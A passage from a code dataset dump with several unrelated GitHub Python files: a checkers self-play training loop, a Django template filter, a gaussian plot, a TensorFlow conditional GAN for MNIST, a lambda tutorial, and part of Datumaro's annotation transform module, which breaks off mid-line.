'little', 'blue', 'cup', 'on', 'the', 'table']\n\nlist3 = set(list1) & set(list2)\n\nlist4 = sorted(list3, key=lambda k: list1.index(k))\n\nprint(list4)\n\n\n# {'o', 'a', 'r', 'l', 'e', 'b'}\n\n # for word in words:\n # word_list += list(word)\n # word_set.update(word_list)\n # # word_list.append(list(word))\n # # word_set.add(list(word))\n # # word_list = [word_set.update(word_list)]\n\n # result = []\n # for x in word_set:\n # w_l = list(word)\n # if x in list(words):\n # result.append(x)\n\n # # print(word_set, word_list)\n # return result\n\n # abel\n # abel\n # elor\n","repo_name":"akinolu52/leetcode","sub_path":"python/array/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"39741100996","text":"from src.agent import Agent\nfrom src.checkers.action_encoder import ActionEncoder\nfrom src.checkers.direction_resolver import DirectionResolver\nfrom src.checkers.state_encoder import StateEncoder\nfrom src.match_conductor import MatchConductor\nfrom src.memory import Memory\nfrom src.model import Residual_CNN\nimport logging\nimport pickle\nfrom src.my_configs import config\n\nlogging.basicConfig(filename=\"log.log\", level=logging.INFO, format=\"%(asctime)s: %(levelname)s: %(message)s\")\n\nif \"INITIAL_MEMORY_VERSION\" not in config:\n memory = Memory(config['MEMORY_SIZE'])\nelse:\n logging.info(\"Loading memory version: \" + str(config[\"INITIAL_MEMORY_VERSION\"]))\n memory = pickle.load(open(\"memory/\" + str(config[\"INITIAL_MEMORY_VERSION\"]).zfill(4) + \".p\", \"rb\"))\n\ncurrent_NN = Residual_CNN(config['REG_CONST'], config['LEARNING_RATE'], (2, 4, 8), config['ACTION_SIZE'],\n config['HIDDEN_CNN_LAYERS'], config['MOMENTUM'])\nbest_NN = Residual_CNN(config['REG_CONST'], config['LEARNING_RATE'], (2, 4, 8), config['ACTION_SIZE'],\n config['HIDDEN_CNN_LAYERS'], config['MOMENTUM'])\n\nif \"INITIAL_MODEL_VERSION\" in config:\n best_player_version = config[\"INITIAL_MODEL_VERSION\"]\n logging.info('LOADING MODEL VERSION ' + str(config[\"INITIAL_MODEL_VERSION\"]) + '...')\n m_tmp = best_NN.read(best_player_version)\n current_NN.model.set_weights(m_tmp.get_weights())\n best_NN.model.set_weights(m_tmp.get_weights())\nelse:\n best_player_version = 0\n best_NN.model.set_weights(current_NN.model.get_weights())\n\ncurrent_player = Agent(current_NN, ActionEncoder(DirectionResolver()), StateEncoder(), name='current_player',\n config=config)\nbest_player = Agent(best_NN, ActionEncoder(DirectionResolver()), StateEncoder(), name='best_player', config=config)\n\niteration = 0\n\nwhile 1:\n\n iteration += 1\n logging.info('ITERATION NUMBER ' + str(iteration))\n logging.info('BEST PLAYER VERSION ' + str(best_player_version))\n\n match_conductor = MatchConductor()\n logging.info('SELF PLAYING ' + str(config['EPISODES_COUNT']) + ' EPISODES...')\n _, memory = match_conductor.play_matches(best_player, best_player, config['EPISODES_COUNT'],\n turns_until_tau0=config['TURNS_UNTIL_TAU0'], memory=memory)\n memory.clear_stmemory()\n\n logging.info(\"Current memory size: \" + str(len(memory.ltmemory)))\n if len(memory.ltmemory) >= config['MEMORY_SIZE']:\n\n if iteration % 3 == 0:\n pickle.dump(memory, open(\"memory/\" + str(iteration).zfill(4) + \".p\", \"wb\"))\n\n logging.info('RETRAINING...')\n current_player.replay(memory.ltmemory)\n\n logging.info('TOURNAMENT...')\n scores, _ = match_conductor.play_matches(best_player, current_player, config['EVAL_EPISODES'],\n turns_until_tau0=0, memory=None)\n logging.info('SCORES')\n logging.info(scores)\n\n if scores['current_player'] > scores['best_player'] * config['SCORING_THRESHOLD']:\n best_player_version = best_player_version + 1\n logging.info(\"Updating best player to the new version: \" + str(best_player_version))\n best_NN.model.set_weights(current_NN.model.get_weights())\n best_NN.write(best_player_version)\n","repo_name":"evgeniy44/mcts","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3530927607","text":"from django import template\nfrom app_auth.models import Result\n\nregister = template.Library()\n\n@register.filter\ndef isResultComplete(qz,user):\n result = Result.objects.filter(student=user, quizname=qz)\n is_result = True if result else False\n return is_result","repo_name":"GregoryAyon/Django-Assignments","sub_path":"els/app_auth/templatetags/customtags.py","file_name":"customtags.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36144143349","text":"\"\"\"\n author: lw\n email: hnu-lw@foxmail.com\n data: 19-3-20 下午4:31 \n description: show gaussian distibution\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import exp\nfrom mpl_toolkits.mplot3d import Axes3D\n# from scipy import stats\n# mu_params = [-1, 0, 1]\n# sd_params = [0.5, 1, 1.5]\n# x = np.linspace(-7, 7, 100)\n# f, ax = plt.subplots(len(mu_params), len(sd_params), sharex=True, figsize=(12,8))\n# for i in range(3):\n# for j in range(3):\n# mu = mu_params[i]\n# sd = sd_params[j]\n# y = stats.norm(mu, sd).pdf(x)\n# ax[i, j].plot(x, y)\n# ax[i, j].plot(0,0, label='mu={:3.2f}\\nsigma={:3.2f}'.format(mu,sd), alpha=0)\n# ax[i, j].legend(fontsize=10)\n# ax[2,1].set_xlabel('x', fontsize=16)\n# ax[1,0].set_ylabel('pdf(x)', fontsize=16)\n# plt.suptitle('Gaussian PDF', fontsize=16)\n# plt.tight_layout()\n# plt.show()\nlen = 8\nstep = 0.4\ndef build_gaussian_layer(mean, standard_deviation):\n x = np.arange(-len, len, step)\n x=np.reshape(x,(x.shape[0],1))\n y = np.arange(-len, len, step)\n y=np.reshape(y,(y.shape[0],1))\n z=np.zeros((x.shape))\n # x, y = np.meshgrid(x, y)\n # print(x)\n # z = np.exp(-((y-mean)**2 + (x - mean)**2)/(2*(standard_deviation**2)))\n # z = z/(np.sqrt(2*np.pi)*standard_deviation)\n # print(z.shape)\n X=np.concatenate((x,y),axis=1)\n # print(mean)\n i=0\n for x in zip(X):\n print(x)\n x=np.reshape(x,(2,1))\n mean=np.reshape(mean,(2,1))\n z[i] =exp(-0.5*(np.dot(np.dot((x-mean).T,np.linalg.inv(standard_deviation)),(x-mean))))\n z[i]=z[i]/(2*np.pi*np.sqrt(np.linalg.det(standard_deviation)))\n i=i+1\n x, y = np.meshgrid(x.T, y.T)\n # print(\"z.shape:\",z.shape)\n return (x, y, z)\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\n\nmean=np.array([0,1])\nstandard_deviation=np.array([[1,0],[0,1]])\nprint(standard_deviation.shape)\nprint(mean.shape)\nx3, y3, z3 = build_gaussian_layer(mean, standard_deviation)\nprint(z3)\nax.plot_surface(x3, y3, z3, rstride=1, cstride=1, cmap='rainbow')\nplt.show()","repo_name":"weili1457355863/mechine_learning","sub_path":"gaussian_show.py","file_name":"gaussian_show.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30679443386","text":"import os, time, random, itertools\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport cv2\n\n# 设置保存路径\ndirpath = '.\\\\'\n# 保存图片\nmodel = 'GAN_MINIST'\n\n# 如果不存在图片保存路径则创建\nif not os.path.isdir(dirpath):\n os.mkdir(dirpath)\nif not os.path.isdir(dirpath + 'FakeImg'):\n os.mkdir(dirpath + 'FakeImg')\n\n# 初始化\nIMAGE_SIZE = 28\nonehot = np.eye(10)\nnoise_ = np.random.normal(0, 1, (10, 1, 1, 100))\nfixed_noise_ = noise_\nfixed_label_ = np.zeros((10, 1))\n# 用于最后显示十组图像\nfor i in range(9):\n fixed_noise_ = np.concatenate([fixed_noise_, noise_], 0)\n temp = np.ones((10, 1)) + i\n fixed_label_ = np.concatenate([fixed_label_, temp], 0)\nfixed_label_ = onehot[fixed_label_.astype(np.int32)].reshape((100, 1, 1, 10))\nbatch_size = 100\n# 一共迭代20次\nstep = 30\n# 设置一个全局的计数器\nglobal_step = tf.Variable(0, trainable=False)\n# 设置学习率\nlr = tf.train.exponential_decay(0.0002, global_step, 500, 0.95, staircase=True)\n# 加载数据集Batch大小:100\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True, reshape=[])\n\n\ndef leaky_relu(X, leak=0.2):\n f1 = 0.5 * (1 + leak)\n f2 = 0.5 * (1 - leak)\n return f1 * X + f2 * tf.abs(X)\n\n\ndef Generator(x, labels, Training=True, reuse=False):\n with tf.variable_scope('Generator', reuse=reuse):\n # 初始化参数\n W = tf.truncated_normal_initializer(mean=0.0, stddev=0.02)\n b = tf.constant_initializer(0.0)\n # 把数据和标签进行连接\n concat = tf.concat([x, labels], 3)\n # 第一次反卷积,卷积核大小为7*7,输出维度256\n out_1 = tf.layers.conv2d_transpose(concat, 256, [7, 7], strides=(1, 1), padding='valid', kernel_initializer=W,\n bias_initializer=b)\n out_1 = tf.layers.batch_normalization(out_1, training=Training) # batch norm\n out_1 = leaky_relu(out_1, 0.2)\n # 第二次反卷积,卷积核大小为5*5,输出维度128\n out_2 = tf.layers.conv2d_transpose(out_1, 128, [5, 5], strides=(2, 2), padding='same', kernel_initializer=W,\n bias_initializer=b)\n out_2 = tf.layers.batch_normalization(out_2, training=Training) # batch norm\n out_2 = leaky_relu(out_2, 0.2)\n # 第三次反卷积,卷积核大小5*5,输出维度1\n out_3 = tf.layers.conv2d_transpose(out_2, 1, [5, 5], strides=(2, 2), padding='same', kernel_initializer=W,\n bias_initializer=b)\n out_3 = tf.nn.tanh(out_3)\n return out_3\n\n\ndef Discriminator(x, real, Training=True, reuse=False):\n with tf.variable_scope('Discriminator', reuse=reuse):\n # 初始化参数\n W = tf.truncated_normal_initializer(mean=0.0, stddev=0.02)\n b = tf.constant_initializer(0.0)\n # 把数据和标签进行连接\n concat = tf.concat([x, real], 3)\n # 第一次卷积 卷积核为5*5 输出维度为128\n out_1 = tf.layers.conv2d(concat, 128, [5, 5], strides=(2, 2), padding='same', kernel_initializer=W,\n bias_initializer=b)\n out_1 = leaky_relu(out_1, 0.2)\n # 第二次卷积 卷积核为5*5 输出维度256\n out_2 = tf.layers.conv2d(out_1, 256, [5, 5], strides=(2, 2), padding='same', kernel_initializer=W,\n bias_initializer=b)\n out_2 = tf.layers.batch_normalization(out_2, training=Training) # batch norm\n out_2 = leaky_relu(out_2, 0.2)\n # 第三次卷积,卷积和为7*7,输出维度为1\n out_3 = tf.layers.conv2d(out_2, 1, [7, 7], strides=(1, 1), padding='valid', kernel_initializer=W)\n logits = tf.nn.sigmoid(out_3)\n return logits, out_3\n\n\ndef show_result(num_epoch, show=False, save=False, path=None):\n test_images = sess.run(G_noise, {noise: fixed_noise_, labels: fixed_label_, Training: False})\n size_figure_grid = 10\n fig, ax = plt.subplots(size_figure_grid, size_figure_grid, figsize=(5, 5))\n for i, j in itertools.product(range(size_figure_grid), range(size_figure_grid)):\n ax[i, j].get_xaxis().set_visible(False)\n ax[i, j].get_yaxis().set_visible(False)\n for k in range(10 * 10):\n i = k // 10\n j = k % 10\n ax[i, j].cla()\n ax[i, j].imshow(np.reshape(test_images[k], (IMAGE_SIZE, IMAGE_SIZE)), cmap='gray')\n label = 'Step {0}'.format(num_epoch)\n fig.text(0.5, 0.04, label, ha='center')\n if save:\n plt.savefig(path)\n if show:\n plt.show()\n else:\n plt.close()\n\n\nx = tf.placeholder(tf.float32, shape=(None, IMAGE_SIZE, IMAGE_SIZE, 1))\nnoise = tf.placeholder(tf.float32, shape=(None, 1, 1, 100))\nlabels = tf.placeholder(tf.float32, shape=(None, 1, 1, 10))\nreal = tf.placeholder(tf.float32, shape=(None, IMAGE_SIZE, IMAGE_SIZE, 10))\nTraining = tf.placeholder(dtype=tf.bool)\n\n# 运行生成网络哦\nG_noise = Generator(noise, labels, Training)\n# 运行判别网络\nD_real, D_real_logits = Discriminator(x, real, Training)\nD_fake, D_fake_logits = Discriminator(G_noise, real, Training, reuse=True)\n# 计算每个网络的损失函数\n# 算判别器真值的损失函数\nDis_loss_real = tf.reduce_mean(\n tf.nn.sigmoid_cross_entropy_with_logits(logits=D_real_logits, labels=tf.ones([batch_size, 1, 1, 1])))\n# 算判别器噪声生成图片的损失函数\nDis_loss_fake = tf.reduce_mean(\n tf.nn.sigmoid_cross_entropy_with_logits(logits=D_fake_logits, labels=tf.zeros([batch_size, 1, 1, 1])))\n# 损失函数求和\nDis_loss = Dis_loss_real + Dis_loss_fake\n# 计算生成器的损失函数\nGen_loss = tf.reduce_mean(\n tf.nn.sigmoid_cross_entropy_with_logits(logits=D_fake_logits, labels=tf.ones([batch_size, 1, 1, 1])))\n# 提取每个网络的变量\ntf_vars = tf.trainable_variables()\nDis_vars = [var for var in tf_vars if var.name.startswith('Discriminator')]\nGen_vars = [var for var in tf_vars if var.name.startswith('Generator')]\n# 调整参数 设计是用来控制计算流图的,给图中的某些计算指定顺序\nwith tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n optim = tf.train.AdamOptimizer(lr, beta1=0.5) # 寻找全局最优点的优化算法,引入了二次方梯度校正 衰减率0.5\n D_optim = optim.minimize(Dis_loss, global_step=global_step,\n var_list=Dis_vars) # 优化更新训练的模型参数,也可以为全局步骤(global step)计数\n G_optim = tf.train.AdamOptimizer(lr, beta1=0.5).minimize(Gen_loss,\n var_list=Gen_vars) # 寻找全局最优点的优化算法,引入了二次方梯度校正 衰减率0.5\n# 模型保存\nsaver = tf.train.Saver()\nsave_dir = './model'\ncheckpoint_name = 'train.ckpt'\n\n# 开启一个session,\nsess = tf.InteractiveSession()\ntf.global_variables_initializer().run()\n# 对MNIST做一下处理\ntrain_set = (mnist.train.images - 0.5) / 0.5\ntrain_label = mnist.train.labels\n\n# 判断是否有保存的模型存在\n# 有 继续训练 没有 重新开始\n\n\nflag = os.path.isfile(save_dir + r'/checkpoint')\nif flag:\n # saver.restore(sess, save_dir + '/' + checkpoint_name)\n saver.restore(sess, r'.\\model\\train.ckpt-12650')\n print('模型已经恢复')\nelse:\n print(\"没有找到模型,重新开始训练!\")\n\nfor i in range(step):\n Gen_losses = []\n Dis_losses = []\n i_start_time = time.time()\n index = random.sample(range(0, train_set.shape[0]), train_set.shape[0])\n new_set = train_set[index]\n new_label = train_label[index]\n for j in range(new_set.shape[0] // batch_size):\n # 对判别器进行更新\n x_ = new_set[j * batch_size:(j + 1) * batch_size]\n label_ = new_label[j * batch_size:(j + 1) * batch_size].reshape([batch_size, 1, 1, 10])\n real_ = label_ * np.ones([batch_size, IMAGE_SIZE, IMAGE_SIZE, 10])\n noise_ = np.random.normal(0, 1, (batch_size, 1, 1, 100))\n loss_d_, _ = sess.run([Dis_loss, D_optim], {x: x_, noise: noise_, real: real_, labels: label_, Training: True})\n # 对生成器进行更新\n noise_ = np.random.normal(0, 1, (batch_size, 1, 1, 100))\n y_ = np.random.randint(0, 9, (batch_size, 1))\n label_ = onehot[y_.astype(np.int32)].reshape([batch_size, 1, 1, 10])\n real_ = label_ * np.ones([batch_size, IMAGE_SIZE, IMAGE_SIZE, 10])\n loss_g_, _ = sess.run([Gen_loss, G_optim], {noise: noise_, x: x_, real: real_, labels: label_, Training: True})\n # 计算训练过程中的损失函数\n errD_fake = Dis_loss_fake.eval({noise: noise_, labels: label_, real: real_, Training: False})\n errD_real = Dis_loss_real.eval({x: x_, labels: label_, real: real_, Training: False})\n errG = Gen_loss.eval({noise: noise_, labels: label_, real: real_, Training: False})\n Dis_losses.append(errD_fake + errD_real)\n Gen_losses.append(errG)\n print('判别器损失函数: %.6f, 生成器损失函数: %.6f' % (np.mean(Dis_losses), np.mean(Gen_losses)))\n if j % 10 == 0:\n pic = dirpath + 'FakeImg/' + model + str(i * new_set.shape[0] // batch_size + j + 1) + '_' + str(\n i + 1) + '.png'\n show_result((i + 1), save=True, path=pic)\n\n pic = dirpath + 'FakeImg/' + model + str(i + 1) + '.png'\n show_result((i + 1), save=True, path=pic)\n\n # 训练完一轮保存模型\n saver.save(sess, os.path.join(save_dir, checkpoint_name), global_step=global_step)\n print('第{0}轮训练完成,保存模型'.format(i))\n\nsess.close()\n","repo_name":"rex0yt/A07-GAN-","sub_path":"mnist_web/convo_gan.py","file_name":"convo_gan.py","file_ext":"py","file_size_in_byte":9651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"70270469603","text":"# syntax -- lambda parameters:expression\r\nfrom functools import reduce\r\n\r\ns = lambda n: n * n\r\nprint(s(2))\r\n\r\ns1 = lambda n: 2 * n\r\nprint(s1(100))\r\n\r\ns2 = lambda a, b: a + b\r\nprint(s2(2, 3))\r\n\r\n# filter(function,sequence) function\r\n\r\nl = [5, 10, 15, 20, 25, 30, 35, 40, 45, 50]\r\n\r\n\r\ndef isEven(n):\r\n if n % 2 == 0:\r\n return True\r\n\r\n\r\ndef isOdd(n):\r\n if n % 2 != 0:\r\n return True\r\n\r\n\r\nl2 = list(filter(isEven, l))\r\nprint(l)\r\nprint(l2)\r\nl3 = list(filter(isOdd, l))\r\nprint(l3)\r\n\r\n# Using lambda\r\nl4 = list(filter(lambda x: x % 2 == 0, l))\r\nprint(l4)\r\nl5 = list(filter(lambda x: x % 2 != 0, l))\r\nprint(l5)\r\n\r\n# map(fun,seq) function\r\nl6 = list(map(lambda x: 2 * x, l))\r\nprint(l6)\r\nl7 = list(map(lambda x: x * x, l))\r\nprint(l7)\r\n\r\n# reduce() function\r\nres = reduce(lambda a, b: a + b, l)\r\nprint(res)\r\nres1 = reduce(lambda a, b: a * b, l)\r\nprint(res1)\r\n","repo_name":"Krishna1588/Python","sub_path":"Lambda_function.py","file_name":"Lambda_function.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"33043114108","text":"\nfrom enum import Enum\nimport logging as log\nimport os.path as osp\nimport random\n\nimport pycocotools.mask as mask_utils\n\nfrom datumaro.components.extractor import (Transform, AnnotationType,\n RleMask, Polygon, Bbox,\n LabelCategories, MaskCategories, PointsCategories\n)\nfrom datumaro.components.cli_plugin import CliPlugin\nimport datumaro.util.mask_tools as mask_tools\nfrom datumaro.util.annotation_tools import find_group_leader, find_instances\n\n\nclass CropCoveredSegments(Transform, CliPlugin):\n def transform_item(self, item):\n annotations = []\n segments = []\n for ann in item.annotations:\n if ann.type in {AnnotationType.polygon, AnnotationType.mask}:\n segments.append(ann)\n else:\n annotations.append(ann)\n if not segments:\n return item\n\n if not item.has_image:\n raise Exception(\"Image info is required for this transform\")\n h, w = item.image.size\n segments = self.crop_segments(segments, w, h)\n\n annotations += segments\n return self.wrap_item(item, annotations=annotations)\n\n @classmethod\n def crop_segments(cls, segment_anns, img_width, img_height):\n segment_anns = sorted(segment_anns, key=lambda x: x.z_order)\n\n segments = []\n for s in segment_anns:\n if s.type == AnnotationType.polygon:\n segments.append(s.points)\n elif s.type == AnnotationType.mask:\n if isinstance(s, RleMask):\n rle = s.rle\n else:\n rle = mask_tools.mask_to_rle(s.image)\n segments.append(rle)\n\n segments = mask_tools.crop_covered_segments(\n segments, img_width, img_height)\n\n new_anns = []\n for ann, new_segment in zip(segment_anns, segments):\n fields = {'z_order': ann.z_order, 'label': ann.label,\n 'id': ann.id, 'group': ann.group, 'attributes': ann.attributes\n }\n if ann.type == AnnotationType.polygon:\n if fields['group'] is None:\n fields['group'] = cls._make_group_id(\n segment_anns + new_anns, fields['id'])\n for polygon in new_segment:\n new_anns.append(Polygon(points=polygon, **fields))\n else:\n rle = mask_tools.mask_to_rle(new_segment)\n rle = mask_utils.frPyObjects(rle, *rle['size'])\n new_anns.append(RleMask(rle=rle, **fields))\n\n return new_anns\n\n @staticmethod\n def _make_group_id(anns, ann_id):\n if ann_id:\n return ann_id\n max_gid = max(anns, default=0, key=lambda x: x.group)\n return max_gid + 1\n\nclass MergeInstanceSegments(Transform, CliPlugin):\n \"\"\"\n Replaces instance masks and, optionally, polygons with a single mask.\n \"\"\"\n\n @classmethod\n def build_cmdline_parser(cls, **kwargs):\n parser = super().build_cmdline_parser(**kwargs)\n parser.add_argument('--include-polygons', action='store_true',\n help=\"Include polygons\")\n return parser\n\n def __init__(self, extractor, include_polygons=False):\n super().__init__(extractor)\n\n self._include_polygons = include_polygons\n\n def transform_item(self, item):\n annotations = []\n segments = []\n for ann in item.annotations:\n if ann.type in {AnnotationType.polygon, AnnotationType.mask}:\n segments.append(ann)\n else:\n annotations.append(ann)\n if not segments:\n return item\n\n if not item.has_image:\n raise Exception(\"Image info is required for this transform\")\n h, w = item.image.size\n instances = self.find_instances(segments)\n segments = [self.merge_segments(i, w, h, self._include_polygons)\n for i in instances]\n segments = sum(segments, [])\n\n annotations += segments\n return self.wrap_item(item, annotations=annotations)\n\n @classmethod\n def merge_segments(cls, instance, img_width, img_height,\n include_polygons=False):\n polygons = [a for a in instance if a.type == AnnotationType.polygon]\n masks = [a for a in instance if a.type == AnnotationType.mask]\n if not polygons and not masks:\n return []\n\n leader = find_group_leader(polygons + masks)\n instance = []\n\n # Build the resulting mask\n mask = None\n\n if include_polygons and polygons:\n polygons = [p.points for p in polygons]\n mask = mask_tools.rles_to_mask(polygons, img_width, img_height)\n else:\n instance += polygons # keep unused polygons\n\n if masks:\n masks = [m.image for m in masks]\n if mask is not None:\n masks += [mask]\n mask = mask_tools.merge_masks(masks)\n\n if mask is None:\n return instance\n\n mask = mask_tools.mask_to_rle(mask)\n mask = mask_utils.frPyObjects(mask, *mask['size'])\n instance.append(\n RleMask(rle=mask, label=leader.label, z_order=leader.z_order,\n id=leader.id, attributes=leader.attributes, group=leader.group\n )\n )\n return instance\n\n @staticmethod\n def find_instances(annotations):\n return find_instances(a for a in annotations\n if a.type in {AnnotationType.polygon, AnnotationType.mask})\n\nclass PolygonsToMasks(Transform, CliPlugin):\n def transform_item(self, item):\n annotations = []\n for ann in item.annotations:\n if ann.type == AnnotationType.polygon:\n if not item.has_image:\n raise Exception(\"Image info is required for this transform\")\n h, w = item.image.size\n annotations.append(self.convert_polygon(ann, h, w))\n else:\n annotations.append(ann)\n\n return self.wrap_item(item, annotations=annotations)\n\n @staticmethod\n def convert_polygon(polygon, img_h, img_w):\n rle = mask_utils.frPyObjects([polygon.points], img_h, img_w)[0]\n\n return RleMask(rle=rle, label=polygon.label, z_order=polygon.z_order,\n id=polygon.id, attributes=polygon.attributes, group=polygon.group)\n\nclass BoxesToMasks(Transform, CliPlugin):\n def transform_item(self, item):\n annotations = []\n for ann in item.annotations:\n if ann.type == AnnotationType.bbox:\n if not item.has_image:\n raise Exception(\"Image info is required for this transform\")\n h, w = item.image.size\n annotations.append(self.convert_bbox(ann, h, w))\n else:\n annotations.append(ann)\n\n return self.wrap_item(item, annotations=annotations)\n\n @staticmethod\n def convert_bbox(bbox, img_h, img_w):\n rle = mask_utils.frPyObjects([bbox.as_polygon()], img_h, img_w)[0]\n\n return RleMask(rle=rle, label=bbox.label, z_order=bbox.z_order,\n id=bbox.id, attributes=bbox.attributes, group=bbox.group)\n\nclass MasksToPolygons(Transform, CliPlugin):\n def transform_item(self, item):\n annotations = []\n for ann in item.annotations:\n if ann.type == AnnotationType.mask:\n polygons = self.convert_mask(ann)\n if not polygons:\n log.debug(\"[%s]: item %s: \"\n \"Mask conversion to polygons resulted in too \"\n \"small polygons, which were discarded\" % \\\n (self._get_name(__class__), item.id))\n annotations.extend(polygons)\n else:\n annotations.append(ann)\n\n return self.wrap_item(item, annotations=annotations)\n\n @staticmethod\n def convert_mask(mask):\n polygons = mask_tools.mask_to_polygons(mask.image)\n\n return [\n Polygon(points=p, label=mask.label, z_order=mask.z_order,\n id=mask.id, attributes=mask.attributes, group=mask.group)\n for p in polygons\n ]\n\nclass ShapesToBoxes(Transform, CliPlugin):\n def transform_item(self, item):\n annotations = []\n for ann in item.annotations:\n if ann.type in { AnnotationType.mask, AnnotationType.polygon,\n AnnotationType.polyline, AnnotationType.points,\n }:\n annotations.append(self.convert_shape(ann))\n else:\n annotations.append(ann)\n\n return self.wrap_item(item, annotations=annotations)\n\n @staticmethod\n def convert_shape(shape):\n bbox = shape.get_bbox()\n return Bbox(*bbox, label=shape.label, z_order=shape.z_order,\n id=shape.id, attributes=shape.attributes, group=shape.group)\n\nclass Reindex(Transform, CliPlugin):\n @classmethod\n def build_cmdline_parser(cls, **kwargs):\n parser = super().build_cmdline_parser(**kwargs)\n parser.add_argument('-s', '--start', type=int, default=1,\n help=\"Start value for item ids\")\n return parser\n\n def __init__(self, extractor, start=1):\n super().__init__(extractor)\n\n self._start = start\n\n def __iter__(self):\n for i, item in enumerate(self._extractor):\n yield self.wrap_item(item, id=i + self._start)\n\nclass MapSubsets(Transform, CliPlugin):\n @staticmethod\n def _mapping_arg(s):\n parts = s.split(':')\n if len(parts) != 2:\n import argparse\n raise argparse.ArgumentTypeError()\n return parts\n\n @classmethod\n def build_cmdline_parser(cls, **kwargs):\n parser = super().build_cmdline_parser(**kwargs)\n parser.add_argument('-s', '--subset', action='append',\n type=cls._mapping_arg, dest='mapping',\n help=\"Subset mapping of the form: 'src:dst' (repeatable)\")\n return parser\n\n def __init__(self, extractor, mapping=None):\n super().__init__(extractor)\n\n if mapping is None:\n mapping = {}\n elif not isinstance(mapping, dict):\n mapping = dict(tuple(m) for m in mapping)\n self._mapping = mapping\n\n def transform_item(self, item):\n return self.wrap_item(item,\n subset=self._mapping.get(item.subset, item.subset))\n\nclass RandomSplit(Transform, CliPlugin):\n \"\"\"\n Joins all subsets into one and splits the result into few parts.\n It is expected that item ids are unique and subset ratios sum up to 1.|n\n |n\n Example:|n\n |s|s%(prog)s --subset train:.67 --subset test:.33\n \"\"\"\n\n @staticmethod\n def _split_arg(s):\n parts = s.split(':')\n if len(parts) != 2:\n import argparse\n raise argparse.ArgumentTypeError()\n return (parts[0], float(parts[1]))\n\n @classmethod\n def build_cmdline_parser(cls, **kwargs):\n parser = super().build_cmdline_parser(**kwargs)\n parser.add_argument('-s', '--subset', action='append',\n type=cls._split_arg, dest='splits',\n help=\"Subsets in the form of: ':' (repeatable)\")\n parser.add_argument('--seed', type=int, help=\"Random seed\")\n return parser\n\n def __init__(self, extractor, splits, seed=None):\n super().__init__(extractor)\n\n assert 0 < len(splits), \"Expected at least one split\"\n assert all(0.0 <= r and r <= 1.0 for _, r in splits), \\\n \"Ratios are expected to be in the range [0; 1], but got %s\" % splits\n\n total_ratio = sum(s[1] for s in splits)\n if not abs(total_ratio - 1.0) <= 1e-7:\n raise Exception(\n \"Sum of ratios is expected to be 1, got %s, which is %s\" %\n (splits, total_ratio))\n\n dataset_size = len(extractor)\n indices = list(range(dataset_size))\n\n random.seed(seed)\n random.shuffle(indices)\n parts = []\n s = 0\n for subset, ratio in splits:\n s += ratio\n boundary = int(s * dataset_size)\n parts.append((boundary, subset))\n\n self._parts = parts\n\n def _find_split(self, index):\n for boundary, subset in self._parts:\n if index < boundary:\n return subset\n return subset # all the possible remainder goes to the last split\n\n def __iter__(self):\n for i, item in enumerate(self._extractor):\n yield self.wrap_item(item, subset=self._find_split(i))\n\nclass IdFromImageName(Transform, CliPlugin):\n def transform_item(self, item):\n if item.has_image and item.image.path:\n name = osp.splitext(osp.basename(item.image.path))[0]\n return self.wrap_item(item, id=name)\n else:\n log.debug(\"Can't change item id for item '%s': \"\n \"item has no image info\" % item.id)\n return item\n\nclass RemapLabels(Transform, CliPlugin):\n DefaultAction = Enum('DefaultAction', ['keep', 'delete'])\n\n @staticmethod\n def _split_arg(s):\n parts = s.split(':')\n if len(parts) != 2:\n import argparse\n raise argparse.ArgumentTypeError()\n return (parts[0], parts[1])\n\n @classmethod\n def build_cmdline_parser(cls, **kwargs):\n parser = super().build_cmdline_parser(**kwargs)\n parser.add_argument('-l', '--label', action='append',\n type=cls._split_arg, dest='mapping',\n help=\"Label in the form of: ':' (repeatable)\")\n parser.add_argument('--default',\n choices=[a.name for a in cls.DefaultAction],\n default=cls.DefaultAction.keep.name,\n help=\"Action for unspecified labels\")\n return parser\n\n def __init__(self, extractor, mapping, default=None):\n super().__init__(extractor)\n\n assert isinstance(default, (str, self.DefaultAction))\n if isinstance(default, str):\n default = self.DefaultAction[default]\n\n assert isinstance(mapping, (dict, list))\n if isinstance(mapping, list):\n mapping = dict(mapping)\n\n self._categories = {}\n\n src_label_cat = self._extractor.categories().get(AnnotationType.label)\n if src_label_cat is not None:\n self._make_label_id_map(src_label_cat, mapping, default)\n\n src_mask_cat = self._extractor.categories().get(AnnotationType.mask)\n if src_mask_cat is not None:\n assert src_label_cat is not None\n dst_mask_cat = MaskCategories(attributes=src_mask_cat.attributes)\n dst_mask_cat.colormap = {\n id: src_mask_cat.colormap[id]\n for id, _ in enumerate(src_label_cat.items)\n if self._map_id(id) or id == 0\n }\n self._categories[AnnotationType.mask] = dst_mask_cat\n\n src_points_cat = self._extractor.categories().get(AnnotationType.points)\n if src_points_cat is not None:\n assert src_label_cat is not None\n dst_points_cat = PointsCategories(attributes=src_points_cat.attributes)\n dst_points_cat.items = {\n id: src_points_cat.items[id]\n for id, item in enumerate(src_label_cat.items)\n if self._map_id(id) or id == 0\n }\n self._categories[AnnotationType.points] = dst_points_cat\n\n def _make_label_id_map(self, src_label_cat, label_mapping, default_action):\n dst_label_cat = LabelCategories(attributes=src_label_cat.attributes)\n id_mapping = {}\n for src_index, src_label in enumerate(src_label_cat.items):\n dst_label = label_mapping.get(src_label.name)\n if not dst_label and default_action == self.DefaultAction.keep:\n dst_label = src_label.name # 